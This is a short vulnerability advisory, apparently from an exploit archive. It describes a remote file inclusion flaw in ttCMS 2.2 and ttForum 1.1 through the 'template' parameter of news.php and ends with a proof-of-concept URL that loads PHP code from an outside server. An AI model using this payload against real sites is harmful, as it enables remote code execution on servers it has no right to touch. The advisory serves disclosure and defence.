ttCMS 2.2 / ttForum 1.1 - 'news.php?template' Remote File Inclusion

source: http://www.securityfocus.com/bid/7542/info

A remote file include vulnerability has been reported for both ttForum and ttCMS. Due to insufficient sanitization of some user-supplied variables by the 'News.php' and 'Install.php' scripts, it is possible for a remote attacker to include a malicious PHP file in a URL.

Successful exploitation will result in the execution of the attacker-supplied PHP instructions with the privileges of the web server.

There are conflicting reports about whether or not this issue exists. The vendor has stated that exploitation of this issue is not possible.


http://www.example.com/ttforum/index.php?action=news;board=1;
template=http://www.yourserver.com/modules/forum/helpadmin;ext=help